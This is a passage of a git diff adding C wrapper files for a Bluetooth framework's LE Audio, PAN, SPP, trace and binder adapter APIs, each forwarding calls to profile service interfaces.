+bt_status_t bt_lea_mcs_service_add(bt_instance_t* ins) +{ + lea_mcs_interface_t* profile = get_profile_service(); + + return profile->mcs_add(); +} + +bt_status_t bt_lea_mcs_service_remove(bt_instance_t* ins) +{ + lea_mcs_interface_t* profile = get_profile_service(); + + return profile->mcs_remove(); +} + +bt_status_t bt_lea_mcs_playing_order_changed(bt_instance_t* ins, uint8_t order) +{ + lea_mcs_interface_t* profile = get_profile_service(); + + return profile->playing_order_changed(order); +} + +bt_status_t bt_lea_mcs_media_state_changed(bt_instance_t* ins, uint8_t state) +{ + lea_mcs_interface_t* profile = get_profile_service(); + + return profile->media_state_changed(state); +} + +bt_status_t bt_lea_mcs_playback_speed_changed(bt_instance_t* ins, int8_t speed) +{ + lea_mcs_interface_t* profile = get_profile_service(); + + return profile->playback_speed_changed(speed); +} + +bt_status_t bt_lea_mcs_seeking_speed_changed(bt_instance_t* ins, int8_t speed) +{ + lea_mcs_interface_t* profile = get_profile_service(); + + return profile->seeking_speed_changed(speed); +} + +bt_status_t bt_lea_mcs_track_title_changed(void* handl, uint8_t* title) +{ + lea_mcs_interface_t* profile = get_profile_service(); + + return profile->track_title_changed(title); +} + +bt_status_t bt_lea_mcs_track_duration_changed(bt_instance_t* ins, int32_t duration) +{ + lea_mcs_interface_t* profile = get_profile_service(); + + return profile->track_duration_changed(duration); +} + +bt_status_t bt_lea_mcs_track_position_changed(bt_instance_t* ins, int32_t position) +{ + lea_mcs_interface_t* profile = get_profile_service(); + + return profile->track_position_changed(position); +} + +bt_status_t bt_lea_mcs_current_track_change(bt_instance_t* ins, lea_object_id track_id) +{ + lea_mcs_interface_t* profile = get_profile_service(); + + return profile->current_track_changed(track_id); +} + +bt_status_t bt_lea_mcs_next_track_changed(bt_instance_t* ins, lea_object_id track_id) +{ + lea_mcs_interface_t* profile = get_profile_service(); + + return profile->next_track_changed(track_id); +} + +bt_status_t bt_lea_mcs_current_group_changed(bt_instance_t* ins, lea_object_id group_id) +{ + lea_mcs_interface_t* profile = get_profile_service(); + + return profile->current_group_changed(group_id); +} + +bt_status_t bt_lea_mcs_parent_group_changed(bt_instance_t* ins, lea_object_id group_id) +{ + lea_mcs_interface_t* profile = get_profile_service(); + + return profile->parent_group_changed(group_id); +} + +bt_status_t bt_lea_mcs_set_media_player_info(bt_instance_t* ins) +{ + lea_mcs_interface_t* profile = get_profile_service(); + + return profile->set_media_player_info(); +} + +bt_status_t bt_lea_mcs_media_control_point_response(bt_instance_t* ins, lea_adpt_mcs_media_control_result_t result) +{ + lea_mcs_interface_t* profile = get_profile_service(); + + return profile->media_control_response(result); +} diff --git a/framework/api/bt_lea_server.c b/framework/api/bt_lea_server.c new file mode 100644 index 0000000000000000000000000000000000000000..7e0f1c60e7d7b0eb7fbbec8d0e10a60c62de73a1 --- /dev/null +++ b/framework/api/bt_lea_server.c @@ -0,0 +1,81 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> + +#include "bt_lea_server.h" +#include "bt_profile.h" +#include "lea_server_service.h" +#include "service_manager.h" + +static lea_server_interface_t* get_profile_service(void) +{ + return (lea_server_interface_t*)service_manager_get_profile( + PROFILE_LEAUDIO_SERVER); +} + +void* bt_lea_server_register_callbacks(bt_instance_t* ins, + const lea_server_callbacks_t* callbacks) +{ + lea_server_interface_t* profile = get_profile_service(); + + return profile->register_callbacks(NULL, callbacks); +} + +bool bt_lea_server_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + lea_server_interface_t* profile = get_profile_service(); + + return profile->unregister_callbacks(NULL, cookie); +} + +bt_status_t bt_lea_server_start_announce(bt_instance_t* ins, uint8_t adv_id, + uint8_t announce_type, uint8_t* adv_data, uint16_t adv_size, + uint8_t* md_data, uint16_t md_size) +{ + lea_server_interface_t* profile = get_profile_service(); + + return profile->start_announce(adv_id, announce_type, adv_data, + adv_size, md_data, md_size); +} + +bt_status_t bt_lea_server_stop_announce(bt_instance_t* ins, uint8_t adv_id) +{ + lea_server_interface_t* profile = get_profile_service(); + + return profile->stop_announce(adv_id); +} + +bt_status_t bt_lea_server_disconnect(bt_instance_t* ins, bt_address_t* addr) +{ + lea_server_interface_t* profile = get_profile_service(); + + return profile->disconnect(addr); +} + +bt_status_t bt_lea_server_disconnect_audio(bt_instance_t* ins, bt_address_t* addr) +{ + lea_server_interface_t* profile = get_profile_service(); + + return profile->disconnect_audio(addr); +} + +profile_connection_state_t bt_lea_server_get_connection_state(bt_instance_t* ins, bt_address_t* addr) +{ + lea_server_interface_t* profile = get_profile_service(); + + return profile->get_connection_state(addr); +} diff --git a/framework/api/bt_lea_tbs.c b/framework/api/bt_lea_tbs.c new file mode 100644 index 0000000000000000000000000000000000000000..66c1a771f4a22b1e90d5f14f6dd2018091d8a2e0 --- /dev/null +++ b/framework/api/bt_lea_tbs.c @@ -0,0 +1,145 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include "bt_lea_tbs.h" +#include "bt_profile.h" +#include "lea_tbs_service.h" +#include "service_manager.h" +#include "utils/log.h" +#include <stdint.h> + +static lea_tbs_interface_t* get_profile_service(void) +{ + return (lea_tbs_interface_t*)service_manager_get_profile(PROFILE_LEAUDIO_TBS); +} + +void* bt_lea_tbs_register_callbacks(bt_instance_t* ins, const lea_tbs_callbacks_t* callbacks) +{ + lea_tbs_interface_t* profile = get_profile_service(); + + return profile->register_callbacks(NULL, (lea_tbs_callbacks_t*)callbacks); +} + +bool bt_lea_tbs_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + lea_tbs_interface_t* profile = get_profile_service(); + + return profile->unregister_callbacks(NULL, cookie); +} + +bt_status_t bt_lea_tbs_service_add(bt_instance_t* ins) +{ + lea_tbs_interface_t* profile = get_profile_service(); + + return profile->tbs_add(); +} + +bt_status_t bt_lea_tbs_service_remove(bt_instance_t* ins) +{ + lea_tbs_interface_t* profile = get_profile_service(); + + return profile->tbs_remove(); +} + +bt_status_t bt_lea_tbs_set_telephone_bearer_info(bt_instance_t* ins, + lea_tbs_telephone_bearer_t* bearer) +{ + lea_tbs_interface_t* profile = get_profile_service(); + + return profile->set_telephone_bearer(bearer); +} + +bt_status_t bt_lea_tbs_add_call(bt_instance_t* ins, lea_tbs_calls_t* call_s) +{ + lea_tbs_interface_t* profile = get_profile_service(); + + return profile->add_call(call_s); +} + +bt_status_t bt_lea_tbs_remove_call(bt_instance_t* ins, uint8_t call_index) +{ + lea_tbs_interface_t* profile = get_profile_service(); + + return profile->remove_call(call_index); +} + +bt_status_t bt_lea_tbs_provider_name_changed(bt_instance_t* ins, uint8_t* name) +{ + lea_tbs_interface_t* profile = get_profile_service(); + + return profile->provider_name_changed(name); +} + +bt_status_t bt_lea_tbs_bearer_technology_changed(bt_instance_t* ins, + lea_adpt_bearer_technology_t technology) +{ + lea_tbs_interface_t* profile = get_profile_service(); + + return profile->bearer_technology_changed(technology); +} + +bt_status_t bt_lea_tbs_uri_schemes_supported_list_changed(bt_instance_t* ins, + uint8_t* uri_schemes) +{ + lea_tbs_interface_t* profile = get_profile_service(); + + return profile->uri_schemes_supported_list_changed(uri_schemes); +} + +bt_status_t bt_lea_tbs_rssi_value_changed(bt_instance_t* ins, uint8_t strength) +{ + lea_tbs_interface_t* profile = get_profile_service(); + + return profile->rssi_value_changed(strength); +} + +bt_status_t bt_lea_tbs_rssi_interval_changed(bt_instance_t* ins, + uint8_t interval) +{ + lea_tbs_interface_t* profile = get_profile_service(); + + return profile->rssi_interval_changed(interval); +} + +bt_status_t bt_lea_tbs_status_flags_changed(bt_instance_t* ins, uint16_t status_flags) +{ + lea_tbs_interface_t* profile = get_profile_service(); + + return profile->status_flags_changed(status_flags); +} + +bt_status_t bt_lea_tbs_call_state_changed(bt_instance_t* ins, uint8_t number, + lea_tbs_call_state_t* state_s) +{ + lea_tbs_interface_t* profile = get_profile_service(); + + return profile->call_state_changed(number, state_s); +} + +bt_status_t bt_lea_tbs_notify_termination_reason(bt_instance_t* ins, uint8_t call_index, + lea_adpt_termination_reason_t reason) +{ + lea_tbs_interface_t* profile = get_profile_service(); + + return profile->notify_termination_reason(call_index, reason); +} + +bt_status_t bt_lea_tbs_call_control_response(bt_instance_t* ins, uint8_t call_index, + lea_adpt_call_control_result_t result) +{ + lea_tbs_interface_t* profile = get_profile_service(); + + return profile->call_control_response(call_index, result); +} diff --git a/framework/api/bt_lea_vmicp.c b/framework/api/bt_lea_vmicp.c new file mode 100644 index 0000000000000000000000000000000000000000..1ca82b8cfeb7470cdb78b00bfcdf77e00d764ee7 --- /dev/null +++ b/framework/api/bt_lea_vmicp.c @@ -0,0 +1,89 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include "bt_lea_vmicp.h" +#include "bt_profile.h" +#include "lea_vmicp_service.h" +#include "service_manager.h" +#include "utils/log.h" +#include <stdint.h> + +static lea_vmicp_interface_t* get_profile_service(void) +{ + return (lea_vmicp_interface_t*)service_manager_get_profile(PROFILE_LEAUDIO_VMICP); +} + +void* bt_lea_vmicp_register_callbacks(bt_instance_t* ins, const lea_vmicp_callbacks_t* callbacks) +{ + lea_vmicp_interface_t* profile = get_profile_service(); + + return profile->register_callbacks(NULL, (lea_vmicp_callbacks_t*)callbacks); +} + +bool bt_lea_vmicp_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + lea_vmicp_interface_t* profile = get_profile_service(); + + return profile->unregister_callbacks(NULL, cookie); +} + +bt_status_t bt_lea_vmicp_get_volume_state(bt_instance_t* ins, bt_address_t* addr) +{ + lea_vmicp_interface_t* profile = get_profile_service(); + return profile->vol_get(addr); +} + +bt_status_t bt_lea_vmicp_get_volume_flags(bt_instance_t* ins, bt_address_t* addr) +{ + lea_vmicp_interface_t* profile = get_profile_service(); + return profile->flags_get(addr); +} + +bt_status_t bt_lea_vmicp_change_volume(bt_instance_t* ins, bt_address_t* addr, int dir) +{ + lea_vmicp_interface_t* profile = get_profile_service(); + return profile->vol_change(addr, dir); +} + +bt_status_t bt_lea_vmicp_change_unmute_volume(bt_instance_t* ins, bt_address_t* addr, int dir) +{ + lea_vmicp_interface_t* profile = get_profile_service(); + return profile->vol_unmute_change(addr, dir); +} + +bt_status_t bt_lea_vmicp_set_volume(bt_instance_t* ins, bt_address_t* addr, int vol) +{ + lea_vmicp_interface_t* profile = get_profile_service(); + return profile->vol_set(addr, vol); +} + +bt_status_t bt_lea_vmicp_set_volume_mute(bt_instance_t* ins, bt_address_t* addr, int mute) +{ + lea_vmicp_interface_t* profile = get_profile_service(); + return profile->mute_state_set(addr, mute); +} + +bt_status_t bt_lea_vmicp_get_mic_state(bt_instance_t* ins, bt_address_t* addr) +{ + lea_vmicp_interface_t* profile = get_profile_service(); + return profile->mic_mute_get(addr); +} + +bt_status_t bt_lea_vmicp_set_mic_mute(bt_instance_t* ins, bt_address_t* addr, int mute) +{ + lea_vmicp_interface_t* profile = get_profile_service(); + return profile->mic_mute_set(addr, mute); +} diff --git a/framework/api/bt_lea_vmics.c b/framework/api/bt_lea_vmics.c new file mode 100644 index 0000000000000000000000000000000000000000..71b29b25749280991f7974483e1cff0a283c224f --- /dev/null +++ b/framework/api/bt_lea_vmics.c @@ -0,0 +1,65 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> + +#include "bt_lea_vmics.h" +#include "bt_profile.h" +#include "lea_vmics_service.h" +#include "service_manager.h" + +static lea_vmics_interface_t* get_profile_service(void) +{ + return (lea_vmics_interface_t*)service_manager_get_profile(PROFILE_LEAUDIO_VMICS); +} + +void* bt_lea_vmics_register_callbacks(bt_instance_t* ins, const lea_vmics_callbacks_t* callbacks) +{ + lea_vmics_interface_t* profile = get_profile_service(); + + return profile->register_callbacks(NULL, (lea_vmics_callbacks_t*)callbacks); +} + +bool bt_lea_vmics_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + lea_vmics_interface_t* profile = get_profile_service(); + + return profile->unregister_callbacks(NULL, cookie); +} + +bt_status_t bt_lea_vcs_volume_set(bt_instance_t* ins, int vol) +{ + lea_vmics_interface_t* profile = get_profile_service(); + return profile->vcs_volume_notify(ins, vol); +} + +bt_status_t bt_lea_vcs_mute_set(bt_instance_t* ins, int mute) +{ + lea_vmics_interface_t* profile = get_profile_service(); + return profile->vcs_mute_notify(ins, mute); +} + +bt_status_t bt_lea_vcs_volume_flags_set(bt_instance_t* ins, int flags) +{ + lea_vmics_interface_t* profile = get_profile_service(); + return profile->vcs_volume_flags_notify(ins, flags); +} + +bt_status_t bt_lea_mics_mute_set(bt_instance_t* ins, int mute) +{ + lea_vmics_interface_t* profile = get_profile_service(); + return profile->mics_mute_notify(ins, mute); +} diff --git a/framework/api/bt_pan.c b/framework/api/bt_pan.c new file mode 100644 index 0000000000000000000000000000000000000000..fa884eb50621d2ddf9d45ed46e2a525bc8ff537a --- /dev/null +++ b/framework/api/bt_pan.c @@ -0,0 +1,58 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "pan_api" + +#include <stdint.h> + +#include "bt_internal.h" +#include "bt_pan.h" +#include "bt_profile.h" +#include "pan_service.h" +#include "service_manager.h" +#include "utils/log.h" + +static pan_interface_t* get_profile_service(void) +{ + return (pan_interface_t*)service_manager_get_profile(PROFILE_PANU); +} + +void* BTSYMBOLS(bt_pan_register_callbacks)(bt_instance_t* ins, const pan_callbacks_t* callbacks) +{ + pan_interface_t* profile = get_profile_service(); + + return profile->register_callbacks(NULL, callbacks); +} + +bool BTSYMBOLS(bt_pan_unregister_callbacks)(bt_instance_t* ins, void* cookie) +{ + pan_interface_t* profile = get_profile_service(); + + return profile->unregister_callbacks(NULL, cookie); +} + +bt_status_t BTSYMBOLS(bt_pan_connect)(bt_instance_t* ins, bt_address_t* addr, uint8_t dst_role, uint8_t src_role) +{ + pan_interface_t* profile = get_profile_service(); + + return profile->connect(addr, dst_role, src_role); +} + +bt_status_t BTSYMBOLS(bt_pan_disconnect)(bt_instance_t* ins, bt_address_t* addr) +{ + pan_interface_t* profile = get_profile_service(); + + return profile->disconnect(addr); +} \ No newline at end of file diff --git a/framework/api/bt_spp.c b/framework/api/bt_spp.c new file mode 100644 index 0000000000000000000000000000000000000000..42ad714ab88db823d389fa50c26fcd61950d98cb --- /dev/null +++ b/framework/api/bt_spp.c @@ -0,0 +1,82 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "spp_api" + +#include <stdint.h> + +#include "bt_internal.h" +#include "bt_profile.h" +#include "bt_spp.h" +#include "service_manager.h" +#include "spp_service.h" +#include "utils/log.h" + +static spp_interface_t* get_profile_service(void) +{ + return (spp_interface_t*)service_manager_get_profile(PROFILE_SPP); +} + +void* BTSYMBOLS(bt_spp_register_app_with_name)(bt_instance_t* ins, const char* name, const spp_callbacks_t* callbacks) +{ + spp_interface_t* profile = get_profile_service(); + + return profile->register_app(NULL, name, callbacks); +} + +void* BTSYMBOLS(bt_spp_register_app)(bt_instance_t* ins, const spp_callbacks_t* callbacks) +{ + return BTSYMBOLS(bt_spp_register_app_with_name)(ins, NULL, callbacks); +} + +void* BTSYMBOLS(bt_spp_register_app_ext)(bt_instance_t* ins, const char* name, int port_type, const spp_callbacks_t* callbacks) +{ + return BTSYMBOLS(bt_spp_register_app_with_name)(ins, name, callbacks); +} + +bt_status_t BTSYMBOLS(bt_spp_unregister_app)(bt_instance_t* ins, void* handle) +{ + spp_interface_t* profile = get_profile_service(); + + return profile->unregister_app(NULL, handle); +} + +bt_status_t BTSYMBOLS(bt_spp_server_start)(bt_instance_t* ins, void* handle, uint16_t scn, bt_uuid_t* uuid, uint8_t max_connection) +{ + spp_interface_t* profile = get_profile_service(); + + return profile->server_start(handle, scn, uuid, max_connection); +} + +bt_status_t BTSYMBOLS(bt_spp_server_stop)(bt_instance_t* ins, void* handle, uint16_t scn) +{ + spp_interface_t* profile = get_profile_service(); + + return profile->server_stop(handle, scn); +} + +bt_status_t BTSYMBOLS(bt_spp_connect)(bt_instance_t* ins, void* handle, bt_address_t* addr, int16_t scn, bt_uuid_t* uuid, uint16_t* port) +{ + spp_interface_t* profile = get_profile_service(); + + return profile->connect(handle, addr, scn, uuid, port); +} + +bt_status_t BTSYMBOLS(bt_spp_disconnect)(bt_instance_t* ins, void* handle, bt_address_t* addr, uint16_t port) +{ + spp_interface_t* profile = get_profile_service(); + + return profile->disconnect(handle, addr, port); +} \ No newline at end of file diff --git a/framework/api/bt_trace.c b/framework/api/bt_trace.c new file mode 100644 index 0000000000000000000000000000000000000000..c0f5869f9a4f6647659076468b9a674fa6d17e82 --- /dev/null +++ b/framework/api/bt_trace.c @@ -0,0 +1,40 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include "bt_trace.h" +#include "bluetooth.h" +#include "bt_internal.h" +#include "utils/btsnoop_log.h" +#include "utils/log.h" + +void BTSYMBOLS(bluetooth_enable_btsnoop_log)(bt_instance_t* ins) +{ + bt_log_module_enable(LOG_ID_SNOOP, false); +} + +void BTSYMBOLS(bluetooth_disable_btsnoop_log)(bt_instance_t* ins) +{ + bt_log_module_disable(LOG_ID_SNOOP, false); +} + +void BTSYMBOLS(bluetooth_set_btsnoop_filter)(bt_instance_t* ins, btsnoop_filter_flag_t filter_flag) +{ + btsnoop_set_filter(filter_flag); +} + +void BTSYMBOLS(bluetooth_remove_btsnoop_filter)(bt_instance_t* ins, btsnoop_filter_flag_t filter_flag) +{ + btsnoop_remove_filter(filter_flag); +} diff --git a/framework/binder/bluetooth.c b/framework/binder/bluetooth.c new file mode 100644 index 0000000000000000000000000000000000000000..939cd585f62fb0c36fdcc5c1b3c3a3299b2e06de --- /dev/null +++ b/framework/binder/bluetooth.c @@ -0,0 +1,177 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdlib.h> +#include <unistd.h> + +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_BINDER_IPC +#include "adapter_proxy.h" +#include "adapter_stub.h" +#include "bluetooth_proxy.h" +#include "gattc_proxy.h" +#include "gatts_proxy.h" +#include "hfp_ag_proxy.h" +#include "hfp_hf_proxy.h" +#include "hid_device_proxy.h" +#include "pan_proxy.h" +#include "spp_proxy.h" +#endif +#include "bluetooth.h" + +bt_instance_t* bluetooth_create_instance(void) +{ + AIBinder* binder; + char name[64] = { 0 }; + + bt_instance_t* ins = zalloc(sizeof(bt_instance_t)); + if (!ins) { + return NULL; + } + + binder = BtManager_getService((BpBtManager**)&ins->manager_proxy, MANAGER_BINDER_INSTANCE); + if (!binder) + goto bail; + + gethostname(name, 64); + bt_status_t status = BpBtManager_createInstance(binder, (uint32_t)ins, BLUETOOTH_SYSTEM, name, &ins->app_id); + if (status != BT_STATUS_SUCCESS) + goto bail; + + BtAdapter_getService((BpBtAdapter**)&ins->adapter_proxy, ADAPTER_BINDER_INSTANCE); + Bluetooth_startThreadPool(); + + return ins; + +bail: + free(ins); + return NULL; +} + +bt_instance_t* bluetooth_get_instance(void) +{ + uint32_t handle; + char name[64] = { 0 }; + AIBinder* binder; + BpBtManager* proxy = NULL; + + /* find instance from bluetooth manager by hostname, + if not found, create new instance for this hostname + */ + + binder = BtManager_getService(&proxy, MANAGER_BINDER_INSTANCE); + if (!binder) + return NULL; + + gethostname(name, 64); + bt_status_t status = BpBtManager_getInstance(binder, name, &handle); + BpBtManager_delete(proxy); + if (status == BT_STATUS_SUCCESS && handle) + return (bt_instance_t*)handle; + else + return bluetooth_create_instance(); +} + +void* bluetooth_get_proxy(bt_instance_t* ins, enum profile_id id) +{ + switch (id) { + case PROFILE_HFP_HF: + /* for binder ipc*/ + if (!ins->hfp_hf_proxy) { + ins->hfp_hf_proxy = BpBtHfpHf_new(HFP_HF_BINDER_INSTANCE); + } + return ins->hfp_hf_proxy; + case PROFILE_HFP_AG: { + if (!ins->hfp_ag_proxy) { + ins->hfp_ag_proxy = BpBtHfpAg_new(HFP_AG_BINDER_INSTANCE); + } + return ins->hfp_ag_proxy; + } + case PROFILE_SPP: { + if (!ins->spp_proxy) { + ins->spp_proxy = BpBtSpp_new(SPP_BINDER_INSTANCE); + } + return ins->spp_proxy; + } + case PROFILE_HID_DEV: { + if (!ins->hidd_proxy) { + ins->hidd_proxy = BpBtHidd_new(HID_DEVICE_BINDER_INSTANCE); + } + return ins->hidd_proxy; + } + case PROFILE_PANU: { + if (!ins->pan_proxy) { + ins->pan_proxy = BpBtPan_new(PAN_BINDER_INSTANCE); + } + return ins->pan_proxy; + } + case PROFILE_GATTC: { + if (!ins->gattc_proxy) { + ins->gattc_proxy = BpBtGattClient_new(GATT_CLIENT_BINDER_INSTANCE); + } + return ins->gattc_proxy; + } + case PROFILE_GATTS: { + if (!ins->gatts_proxy) { + ins->gatts_proxy = BpBtGattServer_new(GATT_SERVER_BINDER_INSTANCE); + } + return ins->gatts_proxy; + } + default: + break; + } + return NULL; +} + +void bluetooth_delete_instance(bt_instance_t* ins) +{ + if (ins->hfp_hf_proxy) + BpBtHfpHf_delete(ins->hfp_hf_proxy); + + if (ins->hfp_ag_proxy) + BpBtHfpAg_delete(ins->hfp_ag_proxy); + + if (ins->spp_proxy) + BpBtSpp_delete(ins->spp_proxy); + + if (ins->pan_proxy) + BpBtPan_delete(ins->pan_proxy); + + if (ins->gattc_proxy) + BpBtGattClient_delete(ins->gattc_proxy); + + if (ins->gatts_proxy) + BpBtGattServer_delete(ins->gatts_proxy); + + BpBtAdapter_delete(ins->adapter_proxy); + BpBtManager_deleteInstance(ins->manager_proxy, ins->app_id); + BpBtManager_delete(ins->manager_proxy); + free(ins); +} + +bt_status_t bluetooth_start_service(bt_instance_t* ins, enum profile_id id) +{ + return BpBtManager_startService(ins->manager_proxy, ins->app_id, id); +} + +bt_status_t bluetooth_stop_service(bt_instance_t* ins, enum profile_id id) +{ + return BpBtManager_stopService(ins->manager_proxy, ins->app_id, id); +} + +#include "uv.h" +bool bluetooth_set_external_uv(bt_instance_t* ins, uv_loop_t* ext_loop) +{ + return false; +} \ No newline at end of file diff --git a/framework/binder/bt_adapter.c b/framework/binder/bt_adapter.c new file mode 100644 index 0000000000000000000000000000000000000000..35d9c611a4109164a551cdd77c6a461ba04fa03c --- /dev/null +++ b/framework/binder/bt_adapter.c @@ -0,0 +1,231 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdlib.h> +#include <string.h> + +#include "adapter_callbacks_stub.h" +#include "adapter_proxy.h" +#include "adapter_stub.h" +#include "bt_adapter.h" + +void* bt_adapter_register_callback(bt_instance_t* ins, const adapter_callbacks_t* adapter_cbs) +{ + BpBtAdapter* bpAdapter = ins->adapter_proxy; + + if (!BtAdapter_getService(&bpAdapter, ADAPTER_BINDER_INSTANCE)) + return NULL; + + IBtAdapterCallbacks* cbks = BtAdapterCallbacks_new(adapter_cbs); + AIBinder* binder = BtAdapterCallbacks_getBinder(cbks); + if (!binder) { + BtAdapterCallbacks_delete(cbks); + return NULL; + } + + void* rmt_cookie = BpBtAdapter_registerCallback(bpAdapter, binder); + AIBinder_decStrong(binder); + if (!rmt_cookie) { + BtAdapterCallbacks_delete(cbks); + return NULL; + } + + cbks->cookie = rmt_cookie; + return (void*)cbks; +} + +bool bt_adapter_unregister_callback(bt_instance_t* ins, void* cookie) +{ + IBtAdapterCallbacks* cbks = cookie; + + bool ret = BpBtAdapter_unRegisterCallback((BpBtAdapter*)ins->adapter_proxy, cbks->cookie); + if (ret) + BtAdapterCallbacks_delete(cbks); + + return ret; +} + +bt_status_t bt_adapter_enable(bt_instance_t* ins) +{ + return BpBtAdapter_enable((BpBtAdapter*)ins->adapter_proxy); +} + +bt_status_t bt_adapter_disable(bt_instance_t* ins) +{ + return BpBtAdapter_disable((BpBtAdapter*)ins->adapter_proxy); +} + +bt_status_t bt_adapter_enable_le(bt_instance_t* ins) +{ + return BpBtAdapter_enableLe((BpBtAdapter*)ins->adapter_proxy); +} + +bt_status_t bt_adapter_disable_le(bt_instance_t* ins) +{ + return BpBtAdapter_disableLe((BpBtAdapter*)ins->adapter_proxy); +} + +bt_adapter_state_t bt_adapter_get_state(bt_instance_t* ins) +{ + return BpBtAdapter_getState((BpBtAdapter*)ins->adapter_proxy); +} + +bool bt_adapter_is_le_enabled(bt_instance_t* ins) +{ + return BpBtAdapter_isLeEnabled((BpBtAdapter*)ins->adapter_proxy); +} + +bt_device_type_t bt_adapter_get_type(bt_instance_t* ins) +{ + return BpBtAdapter_getType((BpBtAdapter*)ins->adapter_proxy); +} + +bt_status_t bt_adapter_set_discovery_filter(bt_instance_t* ins) +{ + return BpBtAdapter_setDiscoveryFilter((BpBtAdapter*)ins->adapter_proxy); +} + +bt_status_t bt_adapter_start_discovery(bt_instance_t* ins, uint32_t timeout) +{ + return BpBtAdapter_startDiscovery((BpBtAdapter*)ins->adapter_proxy, timeout); +} + +bt_status_t bt_adapter_cancel_discovery(bt_instance_t* ins) +{ + return BpBtAdapter_cancelDiscovery((BpBtAdapter*)ins->adapter_proxy); +} + +bool bt_adapter_is_discovering(bt_instance_t* ins) +{ + return BpBtAdapter_isDiscovering((BpBtAdapter*)ins->adapter_proxy); +} + +void bt_adapter_get_address(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtAdapter_getAddress((BpBtAdapter*)ins->adapter_proxy, addr); +} + +bt_status_t bt_adapter_set_name(bt_instance_t* ins, const char* name) +{ + assert(strlen(name) <= 64); + + return BpBtAdapter_setName((BpBtAdapter*)ins->adapter_proxy, name); +} + +void bt_adapter_get_name(bt_instance_t* ins, char* name, int length) +{ + BpBtAdapter_getName((BpBtAdapter*)ins->adapter_proxy, name, length); +} + +bt_status_t bt_adapter_get_uuids(bt_instance_t* ins, bt_uuid_t* uuids, uint16_t* size) +{ + return BpBtAdapter_getUuids((BpBtAdapter*)ins->adapter_proxy, uuids, size); +} + +bt_status_t bt_adapter_set_scan_mode(bt_instance_t* ins, bt_scan_mode_t 